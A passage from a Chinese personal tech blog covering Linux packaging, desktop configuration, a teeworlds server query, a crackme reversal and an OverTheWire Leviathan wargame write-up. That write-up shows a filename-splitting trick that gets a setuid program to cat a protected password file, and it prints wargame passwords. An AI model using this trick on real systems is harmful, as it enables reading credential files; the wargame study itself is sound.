/tmp/usr/share/icons/hicolor/16x16/apps/srain-icon.png

之后再由包管理器把这些文件打成包，安装到系统中。

Configure

上面的 Makefile 有处不优雅的地方是，make 和 make install 的时候必须指定相同的 PREFIX，不然安装后的程序肯定是运行不了的，而 make 本身并不能解决这个问题，因为 make 是「无状态」的。

这里[5]提供了一个脚本来让解决这个问题，将 Makefile 改名为 Makefile.in，运行 ./configure --prefix=xxx 来获得一个拥有指定 prefix 的 Makefile，这样就可以不用每次敲 make 都输入 PREFIX=xxx 了。

于是大家都去用 autotools 了

#!/bin/sh

prefix=/usr/local

for arg in "$@"; do
    case "$arg" in
    --prefix=*)
        prefix=`echo $arg | sed 's/--prefix=//'`
        ;;

    --help)
        echo 'usage: ./configure [options]'
        echo 'options:'
        echo '  --prefix=<path>: installation prefix'
        echo 'all invalid options are silently ignored'
        exit 0
        ;;
    esac
done

echo 'generating makefile ...'
echo "PREFIX = $prefix" >Makefile
cat Makefile.in >>Makefile
echo 'configuration complete, type make to build.'

如上，执行 ./configure --prefix=/usr 就会把 Makefile.in 复制为 Makefile，并在 Makefile 最前面加上一句 PREFIX = /usr（实际操作顺序是反过来的你们懂就好）。

编写 Archlinux 的打包脚本 PKGBUILD

这样的一个项目打包起来是很愉快的 :)

pkgname=srain

...
build() {
    cd ${pkgname}
    mkdir build || true
    ./configure --prefix=/usr
    make
}

package() {
    cd ${pkgname}
    make DESTDIR=$pkgdir install
}

完整的脚本请见：srain.git - AUR Package Repositories，可能稍有出入。

参考

GSoC 2016

2016-04-23T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

;-) 难以置信。

入手 ThinkPad L450

2016-03-11T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

元宵的时候，我从师兄手里买下了这台机子，全新，i5 4300U，8G内存，256G SSD，14寸 1366x768 屏幕。只有 SSD 而没有 HDD 这点颇合我意，毕竟我没有囤积资源的癖好，256G 足矣，而且还能省下一笔 HDD 的钱。机子在 ebay 上是￥3200，到手花了￥3700，以国内的价格来算还是值得的。

之前用的电脑是 Lenove G455，这台 10 年生产的机器陪伴着我姐走过了四年大学，又在我的高强度使用下度过了大三上学期，现在它终于可以要退役了。这台电脑除了硬盘有点噪音之外，其实一切都运行良好。单纯做编程的话其实够用，痛点主要是：

无法用 FlashPlayer 流畅地播放 720P 的视频（当然这和 FlashPlayer 糟糕的性能也有很大关系）；
跑不起最近的 firefox 和 YCM：Gtk3 版的 FF 的 bugs 还是很多，虽然平时的 UI 响应似乎比 Gtk2 的时候好了一点，但是打开某些网页的时候还是会完全卡住，而 YCM 则有时会吃掉我 1G-1.5G 的内存，然而我的内存才 3G，实在是不堪重负。

现在一切都没问题了，这样的配置在我这个不太关心硬件的人看来，暂时是够用了。

ThinkPad 的外观比我想象中还要漂亮一些，塑料外壳摸起来很舒服，机身还算薄（不插上那个凸起的电池的话），键盘手感也不错。另外崔土豪说屏幕可以 180 度展开，试了一下果然可以！说到屏幕…… 1366x768 其实还是低了，仔细看很容易看出像素点来。

机器预装 Windows 7，尽管我已经不用 Windows 好几个月了，但毕竟是个正版系统，用了这么多年盗版了，还是洗白一下吧。

至此，我使用的全部软件，全都是自由软件 & 正版软件啦！

Win7 可以升级到 10，升级的过程略坎坷，不知道是怪微软的更新服务器好还是怪国内糟糕的网络环境好。 Check Update 一直不动，从官网下载了在线升级器，下完了整个镜像之后死掉了。最后还是手动从官网下了镜像才装上的。

装完 Windows 后自然就装 Arch Linux 了，还好磁盘格式是 MBR（一直对 GPT 有莫名的恐惧），但是机器预装系统的时候已经把四个主分区都占用了 :( ，于是只好把最后的一个不知道是什么的 OS/2 格式的分区删掉，腾出主分区给 Arch。

在 Arch Wiki 的光芒照耀下，安装过程一切正常。

装好后尝试了一下 KDE，果然已经不适应了，pacman -Rsc 之，然后回到 XMoand。

趁着重新配置的时候更新了一下配置：

使用 aur/ttf-iosevka 代替 Tsentsiu Mono HG 作为编辑器和终端的字体
使用 xbindskey 管理快捷键，而不是用 xmoand 的 additionalKeys （听小药壶说可以用 scheme 来写 .xbindskeyrc）
使用 terminator 代替 konsole
使用 dzen2 + condy conky 代替 xmobar

需要启动两个 dzen2，一个接受 xmoand 的输出，一个接受 conky 的输出，需要注意的是 dzen2 不支持 按屏幕的百分比显示，我在网上找到了这个脚本，可以从 xrandr 获取屏幕宽度，按指定的比例算出宽度来，我针对我的需要做了一点修改：

#!/usr/bin/sh
# Author: ervandew
# Source: https://github.com/ervandew/dotfiles/blob/master/bin/dzen2
#
# Wrapper around dzen2 that allows width and x to be defined as a screen
# percentage.  The percentage width is define via the new '-wp' arg and
# percentage x as -xp, both of which must be supplied before any other dzen
# arguments.
#
#   $ dzen2 -wp 30 -xp 60 ...
##

external="^\(VGA\|DVI\|DP\|HDMI\)-\?[0-9]\+"
internal="^\(eDP\|LVDS\)-\?[0-9]\+"
pattern="connected \(primary \)\?\([0-9]\+\)x.*$"

# get internal monitor's width only
# 仅获取笔记本屏幕的宽度
width=$(xrandr 2> /dev/null | grep "$internal $pattern" | sed "s/$internal $pattern/\3/")
# width=$(xrandr 2> /dev/null | grep "$external $pattern" | sed "s/$external $pattern/\3/")

while [ 1 ] ; do
    if [ "$1" == "-wp" ] ; then
        arg="$arg -w `expr $(expr $width '*' $2) / 100`"
    elif [ "$1" == "-xp" ] ; then
        arg="$arg -x `expr $(expr $width '*' $2) / 100`"
    else
        break
    fi
    shift
    shift
done

FG='#aaaaaa'
BG='#1a1a1a'
FONT='-*-terminus-*-r-normal-*-*-110-*-*-*-*-iso8859-*'

cat - | dzen2 $arg "$@" -bg $BG -fg $FG -fn $FONT -e 'button2=;' -xs 1

xmonad.hs 那边要这样写：

myLogHook xmproc = dynamicLogWithPP $ defaultPP
                    { ppCurrent = dzenColor "#87ceff" "#1a1a1a" . pad
                    , ppVisible = dzenColor "#aaaaaa" "#1a1a1a" . pad
                    , ppHidden  = dzenColor "#aaaaaa" "#1a1a1a" . pad
                    , ppUrgent  = dzenColor "#ff0000" "#1a1a1a" . pad
                    , ppWsSep   = " "
                    , ppSep     = "  |  "
                    , ppLayout  = dzenColor "#87ceff" "#1a1a1a" .
                                      ( \x -> case x of
                                        "Tall"            -> "^i(" ++ myBitmapsDir ++ "/tall.xbm)"
                                        "Mirror Tall"     -> "^i(" ++ myBitmapsDir ++ "/mtall.xbm)"
                                        "Full"            -> "^i(" ++ myBitmapsDir ++ "/full.xbm)"
                                        "Simple Float"    -> "~"
                                        _                 -> x
                                      )
                    , ppTitle   = (" " ++) . dzenColor "white" "#1a1a1a" . dzenEscape . shorten 50
                    , ppOutput  = hPutStrLn xmproc
                    }

-- NB: dzen2 DOSEN'T support the option `-wp` and `-wx` (p => percentage),
-- I use a shell wrapper from https://github.com/ervandew/dotfiles/blob/master/bin/dzen2
-- {bg,fg}color and font are also set by this wrapper
--
myBitmapsDir = "/home/la/.xmonad/dzen2"
myDzen2Wrapper = "/home/la/.xmonad/start_dzen2.sh"
myXmonadBar = myDzen2Wrapper ++ " -wp 70 -h 18 -x 0 -y 0 -ta l"
myStatusBar = "conky | " ++ myDzen2Wrapper ++" -xp 70 -wp 20 -h 18 -y 0 -ta r"

main = do
    xmproc <- spawnPipe myXmonadBar
    spawn myStatusBar
    xmonad $ defaultConfig {
--  ...
    }

启用了 xmonad 的 smartBorder，这样在不需要边框的时候就不会有讨厌的边框了

import XMonad.Layout.NoBorders

myLayoutHook = avoidStruts $ layoutHook defaultConfig

main = do
    xmonad $ defaultConfig {
--  ...
    layoutHook = smartBorders $ myLayoutHook
--  ...
    }

受上面那个 dzen2 wrapper 启发，在 .xinitrc 里面增加了判断外接屏幕是否存在的脚本：

# Dual screens auto dectection
internal="^\(\(eDP\|LVDS\)-\?[0-9]\+\)"
external="^\(\(VGA\|DVI\|DP\|HDMI\)-\?[0-9]\+\)"
pattern="connected \(primary \)\?\([0-9]\+\)x.*$"

inter_scr=$(xrandr 2> /dev/null | grep "$internal $pattern" | sed "s/$internal $pattern/\1/")
exter_scr=$(xrandr 2> /dev/null | grep "$external $pattern" | sed "s/$external $pattern/\1/")

# 笔记本屏幕为主显示器
if [ ! -z "$exter_scr" ] ; then
    xrandr --output ${exter_scr} --auto --output ${inter_scr} --primary --auto --right-of ${exter_scr}
fi

使用 pacman 来管理 vim 插件（反正肥猫打包了一切
- all plugins are managed by pacman
- community/vim-nerdtree
- community/powerline-vim
- community/vim-doxygentoolkit
- archlinuxcn/vim-fcitx
- archlinuxcn/vim-youcompleteme-git

最后再贴一张图：

获取 teeworlds 服务器信息

2016-02-12T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

前阵子凤凰卷给 ArchliunxCN 社区开了个 teeworlds 游戏服务器（什么是 teeworlds？），然而大家总是凑不到一块玩，于是就琢磨能不能做个查询游戏信息的 IRC bot，有人进服务器是给个提示，bot 不难做，倒是对如何获取游戏信息没什么思路。

一开始智商下线地想要在每个客户端套一个脚本，然后由脚本向 bot 报告自己的信息…… 于是搞出来这么个东西：teebot-nogood，但是在每个人的客户端上都运行这个脚本一点都不现实，最后我在 teeworlds 的论坛找到了这个帖子。

帖子里给出了几个 PHP 脚本，可以用来扫描 teeworlds 的 master 服务器信息和单个游戏服务器信息，分别适用与 0.5 和 0.6 版本的服务端。我不懂 PHP，还好代码很简单，对于单个游戏服务信息的获取，只要向服务器发送字节串 xffxffxffxffxffxffxffxffxffxffx67x69x65x33x05，服务器就会返回返回包含游戏的数据，我对照着其中的一个脚本写了个 Python 版本：

#!/usr/bin/env python3
import socket

server = '121.199.73.170'
port = 8303
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((server, port))
sock.settimeout(5)

sock.send(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x67\x69\x65\x33\x05')
data, _ = sock.recvfrom(2048)
info = data.split(b'\x00')
info[0] = b'NULL'
info = [x.decode('utf-8') for x in info]

print('[teeserver]', 'recv data:', info)
version = info[1]
name = info[2]
map_name = info[3]
mode = info[4]
cur_player_num = int(info[8])
max_player_num = int(info[9])
players = []

for i in range(0, cur_player_num):
    base = i*5
    player = {
            'name':     info[base+10],
            'clan':     info[base+11],
            'region':   region_map[info[base+12]],
            'score':    info[base+13],
            'stat':     ['spectator', 'player'][int(info[base+14])],
            }
    players.append(player)

从上面的代码就可以看出数据的形式了，没有什么好说的地方，仅仅是想用中文记录下来，或许以后有人会需要吧。

上面的代码被我整合进了 SilverRainZ/teebot 里，如果你在 #archlinux-cn 频道的话，输入 .tee 就能知道现在社区的游戏服务器里有几个人啦。

OverTheWire Leviathan

2016-01-01T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

地址: OverTheWire: Leviathan.

说实话题目不难，可是从开始做题到做完的时间跨度却有一个多月，人家 rr 却做了一会儿就搞定了，我都在干嘛呢？

完整的笔记在这里，其中有点意思的是 leviathan3，所以特地摘抄出来：

登入机器后发现家目录有个带 suid 权限的可执行文件 printfile，属主是 leviathan3，用户组是 leviathan2，带 suid 的程序执行时可以获得和 owner/grouper 相同的权限（euid/egid）。

leviathan2@melinda:~$ ll printfile
-r-sr-x--- 1 leviathan3 leviathan2 7498 Nov 14  2014 printfile*
leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@melinda:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...

从字面意思上看，这个程序接受一个文件路径然后把文件的内容显示出来，但是要求它打印 /etc/leviathan_pass/leviathan3 却提示 You cant have that file...，上 gdb 分析看看。

以下是 diaasm main 的结果，假设执行了 r filename：

0x0804852d <+0>:     push   %ebp
0x0804852e <+1>:     mov    %esp,%ebp
0x08048530 <+3>:     and    $0xfffffff0,%esp
0x08048533 <+6>:     sub    $0x230,%esp
0x08048539 <+12>:    mov    0xc(%ebp),%eax           ; argv 参数地址
0x0804853c <+15>:    mov    %eax,0x1c(%esp)          ; argv 保存到 [esp + 0x1c]
0x08048540 <+19>:    mov    %gs:0x14,%eax            ; Thread-Local Storage, 不知道是什么
0x08048546 <+25>:    mov    %eax,0x22c(%esp)
0x0804854d <+32>:    xor    %eax,%eax
0x0804854f <+34>:    cmpl   $0x1,0x8(%ebp)           ; argc 和 1 比较，此处 argc 应该为 2
0x08048553 <+38>:    jg     0x804857e <main+81>      ; / argc > 1 则跳
0x08048555 <+40>:    movl   $0x8048690,(%esp)
0x0804855c <+47>:    call   0x80483d0 <puts@plt>
0x08048561 <+52>:    mov    0x1c(%esp),%eax
0x08048565 <+56>:    mov    (%eax),%eax
0x08048567 <+58>:    mov    %eax,0x4(%esp)
0x0804856b <+62>:    movl   $0x80486a5,(%esp)
0x08048572 <+69>:    call   0x80483b0 <printf@plt>
0x08048577 <+74>:    mov    $0xffffffff,%eax
0x0804857c <+79>:    jmp    0x80485e8 <main+187>

; -> 来自 0x08048553 <+38> 的跳转，以上代码不必分析了
0x0804857e <+81>:    mov    0x1c(%esp),%eax          ; 取出储存的 argv
0x08048582 <+85>:    add    $0x4,%eax                ; 移动到 argv 的第一个参数（从 0 计数）
0x08048585 <+88>:    mov    (%eax),%eax              ; 取出 argv[1] 的值，指向字符串 ‘filename’
0x08048587 <+90>:    movl   $0x4,0x4(%esp)           ; 参数二：int amode
0x0804858f <+98>:    mov    %eax,(%esp)              ; | argv[1] 作参数一： char *path
0x08048592 <+101>:   call   0x8048420 <access@plt>   ; / access(argv[1], 4)，成功返回 0
0x08048597 <+106>:   test   %eax,%eax
0x08048599 <+108>:   je     0x80485ae <main+129>     ; 跳
0x0804859b <+110>:   movl   $0x80486b9,(%esp)
0x080485a2 <+117>:   call   0x80483d0 <puts@plt>
0x080485a7 <+122>:   mov    $0x1,%eax
0x080485ac <+127>:   jmp    0x80485e8 <main+187>

; -> 来自 0x08048599 <+108> 的跳转
0x080485ae <+129>:   mov    0x1c(%esp),%eax          ; \
0x080485b2 <+133>:   add    $0x4,%eax                ; | 取得 argv[1]
0x080485b5 <+136>:   mov    (%eax),%eax              ; /
0x080485b7 <+138>:   mov    %eax,0xc(%esp)           ; ...: argv[1]
0x080485bb <+142>:   movl   $0x80486d4,0x8(%esp)     ; | char *format: string "/bin/cat %s"
0x080485c3 <+150>:   movl   $0x1ff,0x4(%esp)         ; | size_t size: 511
0x080485cb <+158>:   lea    0x2c(%esp),%eax          ; |
0x080485cf <+162>:   mov    %eax,(%esp)              ; | char *str
0x080485d2 <+165>:   call   0x8048410 <snprintf@plt> ; / snprintf(str, 511, "/bin/cat %s", argv[1]);
0x080485d7 <+170>:   lea    0x2c(%esp),%eax
0x080485db <+174>:   mov    %eax,(%esp)              ; \
0x080485de <+177>:   call   0x80483e0 <system@plt>   ; / system("/bin/cat filename");
0x080485e3 <+182>:   mov    $0x0,%eax
0x080485e8 <+187>:   mov    0x22c(%esp),%edx
0x080485ef <+194>:   xor    %gs:0x14,%edx
0x080485f6 <+201>:   je     0x80485fd <main+208>
0x080485f8 <+203>:   call   0x80483c0 <__stack_chk_fail@plt>
0x080485fd <+208>:   leave
0x080485fe <+209>:   ret

可以看到程序接受一个文件路径，先检查对该文件的访问权限，然后执行 shell 命令 "/bin/cat filename"。

问题出在 access 函数， man 是这样说的：

The access() function shall check the file named by the pathname pointed to by the path argument for accessibility according to the bit pattern contained in amode, using the real user ID in place of the effective user ID and the real group ID in place of the effective group ID.

而 suid 权限改变的只是进程的 euid，因此当你执行 ./printfile /etc/leviathan_pass/leviathan3 的时候，access 函数总是失败的。

但是用 gdb 改变程序的流程也是*不可行*的，非 root 的 gdb 调试带 suid 权限的程序时，程序不会获得本来应该有的权限（否则 gdb 就可以任意地改变程序的行为了），即使绕过了 access 函数，你依然会得到一个 Permission denied。

到这里我就没辙了，只能看别人的 writeup 了：OverTheWire Leviathan Wargame Solution 2，看完发现脑洞确实不够大。

Solution:

access() 接受的是个字符串参数，而 cat 的参数却是由 shell 处理的，执行 ./printfile "flag here"，对于 access 函数来说是执行了 access("flag here", 4), 检查对 flag here 这个文件的访问权限，而对 cat 来说是这样的 system("cat flag here")，因此可以利用这个区别来绕过 access 函数。

leviathan2@melinda:/tmp$ mkdir slove
leviathan2@melinda:/tmp$ cd slove
leviathan2@melinda:/tmp/slove$ touch 'flag here'    # 带空格的文件名
leviathan2@melinda:/tmp/slove$ ln -s /etc/leviathan_pass/leviathan3 flag
leviathan2@melinda:/tmp/slove$ ls
flag  flag here
leviathan2@melinda:/tmp/slove$ ~/printfile 'flag here'  # access 检测的是刚刚建立的新文件， cat 显示的则是 flag 和 here
Ahdiemoo1j
/bin/cat: here: No such file or directory

另外发现了一个新工具 ltrace，能够跟踪库函数的调用，就不用像刚才那样分析整个程序了（后面的题目大多数是过一遍 ltrace 就行了）：

leviathan2@melinda:~$ ltrace ~/printfile /etc/leviathan_pass/leviathan2
__libc_start_main(0x804852d, 2, 0xffffd6f4, 0x8048600 <unfinished ...>
access("/etc/leviathan_pass/leviathan2", 4)                                       = 0
snprintf("/bin/cat /etc/leviathan_pass/lev"..., 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39
system("/bin/cat /etc/leviathan_pass/lev"...ougahZi8Ta
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                            = 0
+++ exited (status 0) +++

元旦快乐，希望新的一年不要那么痛苦了。

从 C 源码生成函数/模块调用图

2015-12-25T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

前天是操作系统课程设计的截止日期，这意味这 OS67 这个坑已经告一段落了，接下来的事情是写报告，不过鉴于 OS 的老师这一学期都没出现过，报告应该可以随便水过去，据说连答辩都可以省掉了……

前面说的都是废话，报告里要求画出函数调用图，于是就打算直接用软件生成好了。

用到的软件有 graphviz，egypt^AUR，cinclude2dot^AUR， ^{Render Report}

推荐了 makepp，然而 AUR 里面没有就作罢了。

生成函数调用图

安装 egypt 直接 yaourt -S egypt 即可，之后在 makefile 里面的 CFLAG 里面增加一句 -fdump-rtl-expand，再 make 一次，gcc 会在 bulid 目录下生成 *.expand 文件，这是 egypt 生成 call graph 所需要的信息。

我这里生成的文件的后缀都是 *.192r.expand，并不知道是什么意思……

之后执行 egypt *.expand > main.dot 就能生成代表整个项目里所有的 C 函数的调用关系的 dot 文件了。

dot 文件大概长这样，每一行代表连接两个顶点的边用 Graphviz 的 dot 命令可以从 dot 文件生成 png。

digraph callgraph {
"move_cur" -> "outb" [style=solid];
"cls" -> "move_cur" [style=solid];
"iunlock" -> "panic" [style=solid];
"puts" -> "putchar" [style=solid];
"puts" -> "_puts" [style=solid];
"sys_sleep" -> "argint" [style=solid];
"sys_sleep" -> "sleep" [style=solid];
"sys_unlink" -> "iupdate" [style=solid];
    ...

执行 dot main.dot -Tpng -o main.png，于是从整个 OS67 生成了这么一张可怕的图片：

这么大的图片用在报告里显然是不行的，不过函数间的调用逻辑也就那样了，没法做什么简化，所以对于整个项目我只生成了后面的模块调用图。

既然整个项目的图太大了，那就生成模块内部的调用图好了，OS67 的项目结构长这样，模块和文件夹基本上是一一对应的：

$ tree -d
.
├── bin
│   └── rootfs
├── boot    # bootloader
├── dev     # 设备文件
├── drv     # 驱动程序
├── fs      # 文件系统
├── inc     # 头文件
├── kern    # 保护模式相关代码
├── libs    # 库文件
├── lst
├── mm      # 内存管理
├── notes
├── proc    # 进程管理
├── script  # 各种配置文件和链接脚本
└── usr     # 用户例程

需要生成调用图的模块有 dev drv fs kern libs mm proc，来写个小脚本自动生成好了：

#!/usr/bin/sh
mods='dev drv fs kern libs mm proc'

for arg in $mods; do
    files=`ls -1 $arg/ | grep '\.c' | sed 's/\.c/.c.192r.expand/g'`
    cd bin
    egypt $files > $arg.dot
    dot $arg.dot -Tpng -o ../$arg.png
    cd ..
done

生成出来的图片除了 fs 模块比较大之外其他都还行，下面是 kern 模块的 call graph （用 kolourpaint 做了点调整）：

注意：这里没有处理 boot 模块和 usr 模块，因为 boot 里面都是汇编程序，而 usr 里面的用户程序都有 main 函数会导致冲突而画出奇怪的图，所以就没有包含了。

另外 graphviz 还支持把 dot 文件转成 dia 格式，所以如果对各个顶点的位置不满意的话，我们可以用 Dia 来调整。

刚说完就被打脸了，graphviz 的 dia 输出支持在 2.26.0 的时候被移除了。

生成模块调用图

接下来来生成模块间的调用图吧，我在网上找到一个根据 #include 生成文件间调用关系的 dot 的 prel 脚本： flourish.org/cinclude2dot/。

AUR 里面没有所以顺手给打了一个包： cinclude2dot:sup:`AUR <https://aur.archlinux.org/packages/cinclude2dot/>`_，所以现在也可以直接用 yaourt 装 cinclude2dot 了。

执行 cinclude2dot --include inc > main.dot 会在当前目录递归地找 *.c 文件，然后在 inc 目录找对应的头文件，生成 c 文件到头文件包含关系的 dot 文件。如果启用 --merge module 的话，会把 xxx.c 和 xxx.h 合并为一个模块 xxx，然而这样生成的图片还是太大了点。

cinclude2dot 还提供了一个 --merge directory 选项，把相同目录的文件合并为一个模块，这正是我想要的功能，然而这样生成的图过分简单，所有的目录都指向了存放头文件的目录 inc。试了一下 directory 和 module 选项也不能一起用，果然还是得自己在 dot 文件上改一改。

执行 cinclude2dot --include inc --merge module > $dotfile，得到各个「文件」间的调用关系。

digraph "source tree" {
    "ls" -> "usys"
    "tty" -> "printk"
    "ide" -> "isr"
    "dev" -> "tty"
    "isr" -> "vmm"
    "cinit" -> "uio"
    "p2i" -> "type"
    "proc" -> "isr"
    "fstest" -> "string"
    "timer" -> "isr"
    ...

如果 dev/tty.c 包含了 inc/printk.h，说明它调用了 libs/printk.c 里的函数，那就有关系 "tty" -> "printk"，那可以考虑把文件名替换为该文件所在的目录名，那关系就变成了 "dev" -> "libs"。

这样替换要注意的是：

不能将头文件目录当成一个模块，如 "tty" -> "printk" 的关系的右边本来就是一个头文件，在这里它应当属于 libs 模块而不属于 inc，如果强行加入 inc 的话结果就和上面用 --merge directory 的效果差不多了：每个顶点会都指向 inc
排除 inc 后，要注意的是有些只包含宏定义的头文件并没有对应的 *.c 文件，比如上面的 "p2i" -> "type" 存在 inc/type.h ，但是并没有 type.c 这么一个文件，那么这一行应当删除掉
将文件名替换成目录名后会出现重复的项目，"ide" -> "printk" 和 "vga" -> "printk" 替换后的结果都是 "drv" -> "libs"，需要去重

把这些事情交给脚本吧，从每个要统计的模块（目录）里面取得文件列表，把文件名替换为目录名，去除单独的 *.h 文件对应的行，去除重复行。

#!/usr/bin/sh

mods='kern drv proc mm usr dev fs libs'
dotfile=main.dot

cinclude2dot --include inc --merge module > $dotfile
for arg in $mods; do
    files=`ls -1 $arg | cut -f 1 -d '.'`
    for f in $files; do
        sed -i "s/\"$f\"/\"$arg\"/g" $dotfile
    done
done
files=`ls -1 inc | cut -f 1 -d '.'`
for f in $files; do sed -i "/$f/d" $dotfile; done
awk ' !x[$0]++' $dotfile > tmpfile
mv tmpfile $dotfile
dot $dotfile -Tpng -o ${dotfile%.*}.png

最后我们得到了一张还算不错的， OS67 的模块调用关系图：

好困睡觉。

2015 华山杯 CTF Reverse 300

2015-11-02T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

程序在此： toetrix-crackme.exe， VC++ 6.0 编写，无壳， CLI 程序。

这题本来我是一点都不会的，幸得尖刀某大牛指点思路，之后回头看反编译的代码总算是摸清楚了程序的流程。因为这种复杂度的题目之前没有做出来过，特此记录。

程序很像一个推箱子游戏，在一个 9*9 的二维地图中有三种元素： 0，1，10 * x + 2 分别代表空气，障碍和箱子，你需要做的就是将所有的箱子推出地图。

程序储存的地图如下：

.data:00407030 ; char map[]
.data:00407030 map             db 1, 1, 0, 1, 1, 1, 0, 1, 1
.data:00407030                 db 1, 0, 0, 0, 0, 0, 0, 0, 1
.data:00407030                 db 1, 0, 0, 0, 0, 0Ch, 16h, 0, 1
.data:00407030                 db 1, 20h, 0, 0, 0, 2Ah, 0, 0, 1
.data:00407030                 db 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:00407030                 db 1, 0, 0, 34h, 0, 0, 0, 0, 1
.data:00407030                 db 0, 0, 0, 0, 0, 0, 3Eh, 0, 0
.data:00407030                 db 1, 48h, 0, 0, 52h, 0, 0, 0, 1
.data:00407030                 db 1, 1, 0, 1, 1, 1, 1, 0, 1

转化成十进制：

1,  1, 0,  1,  1,  1,  0, 1, 1
1,  0, 0,  0,  0,  0,  0, 0, 1
1,  0, 0,  0,  0, 12, 22, 0, 1
1, 32, 0,  0,  0, 42,  0, 0, 1
0,  0, 0,  0,  0,  0,  0, 0, 0
1,  0, 0, 52,  0,  0,  0, 0, 1
0,  0, 0,  0,  0,  0, 62, 0, 0
1, 72, 0,  0, 82,  0,  0, 0, 1
1,  1, 0,  1,  1,  1,  1, 0, 1

可以看到每个箱子都是 X2 形式的数字。

用 IDA 分析整理得到 main 函数代码如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char *step; // esi@1
    char direct; // bl@2
    int start; // eax@2
    int result; // eax@13
    int x; // [sp+8h] [bp-30h]@2
    int y; // [sp+Ch] [bp-2Ch]@2
    char input; // [sp+10h] [bp-28h]@1
    char v10; // [sp+36h] [bp-2h]@1

    step = &input;
    printf(aInputYourSn);
    scanf(aS, &input);
    v10 = 0;
    if ( input )
    {
        do
        {
            direct = step[1];
            start = *step - 48;
            step += 2;
            if ( !find_start(start, (int)&y, (int)&x) )// 遍历数组 返回的 x y 是箱子坐标
                break;
            switch ( direct )
            {
                case 49:                                // '1' 左
                    go_left(y, x);
                    break;
                case 50:                                // '2' 右
                    go_right(y, x);
                    break;
                case 51:                                // '3' 上
                    go_up(y, x);
                    break;
                default:
                    if ( direct != 52 )
                        goto LABEL_12;
                    go_down(y, x);                      // '4' 下
                    break;
            }
        }
        while ( *step );
    }
LABEL_12:
    if ( check_no_start() )
    {
        printf(aBDBuzeBuDGoodJ);                        // ∑(っ °Д °;)っ  good job!
        result = 0;
    }
    else
    {
        printf(aIsbuzebuIsjrII);                        // (╯°Д°)╯︵ ┻━┻  try again!
        result = 0;
    }
    return result;
}

程序接受的输入以两个十进制位位为一组，第一位 start 来指定一个箱子：地图中值为（10 * start + 2）的元素（在 find_start 函数中处理，返回 x，y 为箱子的坐标）；第二位 direct 用来指定推箱子的方向，字符 1 2 3 4 分别代表方向左右上下（由 go_xx 函数处理）。

比如序列 2321 就是把值为 2*10 + 2 = 22 的箱子往上 3 移动，再把该箱子往左 1 移动。

看一下 find_start 函数：

char __cdecl find_start(int start, int e_y, int e_x)
{
    int x; // ecx@3
    int y; // eax@5

    *(_DWORD *)e_y = 0;
    while ( 2 )
    {
        *(_DWORD *)e_x = 0;
        do
        {
            x = *(_DWORD *)e_x;
            /* *(&map + 9 * (*e_y) + *e_x)  ->  map[y][x] */
            if ( *(&map[8 * *(_DWORD *)e_y] + *(_DWORD *)e_y + *(_DWORD *)e_x) == 10 * start + 2 )
                return 1;
            *(_DWORD *)e_x = x + 1;
        }
        while ( x + 1 < 9 );
        y = *(_DWORD *)e_y + 1;
        *(_DWORD *)e_y = y;
        if ( y < 9 )
            continue;
        break;
    }
    return 0;
}

函数遍历整个二维数组 map，如果在 map 中发现等于 10 * start + 2 的数字就 return 此时 e_x e_y 中便是该点坐标。

接下来看 go_left 函数：

char *__cdecl go_left(int y, int x)
{
  int i; // eax@1

  for ( i = x - 1; i >= 0; --i )
  {
    if ( *(&map[9 * y] + i) )                   // 遇到非 0 点
      break;
  }
  if ( i == -1 )
    *(&map[8 * y] + y + x) = 1;                 // 边缘检测
  return xchg_point(y, x, y, i + 1);            // 交换本次起点和终点的值，如果到达边缘，交换的就是同一个点。
}

该函数接受箱子的坐标，然后往坐标的左边走（x -> 0），如果遇到一个非 0 点，即跳出循环。

如果 i == -1 说明从该箱子左边到边界都是 0，箱子可以移出地图了，于是把该箱子坐标处的值标记为 1（变成障碍了，便于接下来交换）。

接下来函数把箱子的坐标 (x, y) 和移动终点的坐标 (i+1, y) 传给函数 xchg_point，函数 xchg_point 比较简单，仅仅是交换两个点的值。

这样就完成了一次左移，go_right go_up 等函数同理。

备注

如果终点是边界的话，箱子的值会被置为 1，交换后的结果就是：箱子处变为 0，终点变为 1。

处理完一次移动之后 step 自增 2，进行下一次移动，直到整个序列结束。就执行 check_no_start 做最后的检查：

char check_no_start()
{
    signed int y; // esi@1
    signed int x; // ecx@2

    y = (signed int)map;
    while ( 2 )
    {
        x = 0;
        do
        {
            if ( *(_BYTE *)(y + x) % 10 == 2 )      // 有一个箱子
                return 0;
            ++x;
        }
        while ( x < 9 );
        y += 9;
        if ( y < (signed int)&end_of_map )
            continue;
        break;
    }
    return 1;
}

检查整个 map 中是否有形如 X2 的数字，即是否还有箱子存在，如果没有的话，返回 1，这就是我们期望的结果。

根据以上流程我们就可以手动算出一个能移除所有箱子的序列，

备注

每个箱子移动可以不是连续的，可以先移动一个箱子到一个地方，再去移动另一个。

移动箱子的顺序的和路径如下：

因此得到 key： 625153518183737244411411143431234244

附上分析时使用的 idb 数据库

用户态进程的简单实现及调度(一)

2015-09-14T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

备注

在写这篇的时候, 我发觉我很难在这短短一篇博文里把进程的实现将清楚, 并且可能存在一些理解的偏差, 因此本篇仅供参考, 更加准确的表述, 还请参考第五章调度 | xv6 中文文档

